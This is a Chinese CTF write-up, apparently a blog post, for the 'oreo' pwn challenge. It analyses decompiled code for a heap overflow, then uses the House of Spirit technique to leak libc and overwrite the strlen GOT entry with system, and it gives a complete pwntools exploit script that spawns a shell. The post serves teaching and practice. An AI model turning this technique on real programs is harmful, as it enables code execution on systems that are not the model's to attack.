House_Of_Spirit ctf oreo程序分析

oreo程序下载

提取码:t4xx

程序分析

int __cdecl main()
{
  leave_add = 0;
  leave_del = 0;
  leave_buf = (char *)&unk_804A2C0;

	...
    ...
  menu();
  return 0;
}

main函数中先赋值了三个全局变量,这三个变量在.bss段是连续的

在这个程序中,没有setvbuf设置输出缓冲,在遇到printf 打印没有 '\n'的字符串时,可能不会输出到终端

ps:我在这里纠结了好久,我在python中 recv就是收不到东西,气skr人,(小白,菜)

下面看一个菜单中的第一个函数

通过这个函数的分析,把malloc出来的东西解析偏移,定义结构体,便于分析

struct Rifle
{
    char description[25];
    char name[27];
    struct Rifle* fd;
}

unsigned int new()
{
	...
  p = struct_P;							//初始 struct_P 是等于0的
  struct_P = (Rifle *)malloc(56);
  if ( struct_P )
  {
    struct_P->fd = (int)p;				//指向之前申请的内存
    printf("Rifle name: ");
    fgets(struct_P->name, 56, stdin);	//堆溢出,这个位置可以修改结构中指向下个结构的指针
    str_end_nul(struct_P->name);		//没什么用的一个函数
    printf("Rifle description: ");
    fgets(struct_P->description, 56, stdin);
    str_end_nul(struct_P->description);
    ++leave_add;						
  }
 	...
}

第二个函数:

unsigned int show_rifle()
{
  ...
      
  for ( i = struct_P; i; i = (Rifle *)i->fd )
  {
    printf("Name: %s\n", i->name);
    printf("Description: %s\n", i);

  ...
}

在这个函数中,只要 i 不为0,就不会退出,i的赋值又是指向下一个结构

而在第一个结构可以修改fd这个位置,如果在new函数中,把fd指向got表中puts的地址

就可以 printf("Description: %s\n", i); 打印出puts 在libc中的地址,从而找到system的地址

第三个函数:

unsigned int del()
{
  ...
  v2 = struct_P;
  if ( leave_add )
  {
    while ( v2 )
    {
      ptr = v2;
      v2 = (Rifle *)v2->fd;	
      free(ptr);
    }
    struct_P = 0;
    ++leave_del;
    puts("Okay order submitted!");
  }
	...
}

在这个函数中,如果struct_P=0,就会结束,但是,在new函数中,我们可以修改v2->fd ,意思就是把这个0改成我们想要的位置,用来free 到fastbin中,malloc后,实现任意地址的修改

第4个函数:

unsigned int leave()
{
  unsigned int v0; // ST1C_4
  v0 = __readgsdword(0x14u);
  printf("Enter any notice you'd like to submit with your order: ");
  fgets(leave_buf, 128, stdin);
  str_end_nul(leave_buf);
  return __readgsdword(0x14u) ^ v0;
}

这个函数用来 向 leave_buf 写数据

而在main中 char *leave_buf = (char *)0x804A2C0;

如果把 leave_buf指向的位置改向got表 就可以修改got中的内容

利用代码

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
p = process('./oreo')
elf=ELF('./oreo')
libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")

#context.log_level='debug'
#context.terminal = ["tmux","splitw","-h"]
#context.arch = "i386"

def add(name,description):
    p.sendline('1')
    p.sendline(name)
    p.sendline(description)


def show_rifle():
    p.sendline('2')
    p.recvuntil('Description: ')
    p.recvuntil('Description: ')
    return u32(p.recv(4).ljust(4,'\x00')) 
    
def del_all():
    #gdb.attach(p,'b *0x8048855')
    p.sendline('3')
    p.recvuntil('Okay order submitted!\n')

    
def leave(payload):
    p.sendline('4')
    p.sendline(payload)
    
   
#1 leak出got表中已找到的地址
name='a'*27+p32(elf.got['puts'])
add(name,'0')
puts_addr= show_rifle()
success('1.puts_addr = '+hex(puts_addr))

#2得到system的地址
libc_base = puts_addr-libc.symbols['puts']
system_addr = puts_addr+libc.symbols['system']-libc.symbols['puts']
success('2.system_addr = '+hex(system_addr))

#3 伪造一个chunk 
for i in range(0x40-2):		#ps:为什么-2?前面已经add一次 后面我还要add一次
    add('a'*27+p32(0),str(i))
leave_buf = 0x0804a2a8
payload = 'b'*27 + p32(leave_buf)
add(payload,'cccc')			
#现在leave_add是0x40,fd又指向了&leave_add+4的位置,还差下一个chunk的size位
 
payload='\x00'*36+p32(100)#(leave_buf指向的地址-leave_buf)+36是下一个chunk的size位
leave(payload)
del_all()
 
#ps: leave_buf=0x804A2C0 
payload = p32(elf.got['strlen'])
add('bbb',payload)
#ps:这里是向char *leave_buf中写入数据,而现在 leave_buf=elf.got['strlen']
leave(p32(system_addr)+';/bin/sh\x00')
#elf.got['strlen']这个地址中原本是strlen的地址,现在改成了system的地址
p.interactive()

一开始我不会改got表,就直接在0x804A2C0伪造chunk 我认为这样方便,捣鼓了好长时间,结果,C了个呵呵的.....

posted @ 2019-07-02 11:13  虐黑三爆  阅读(367)  评论(0编辑  收藏  举报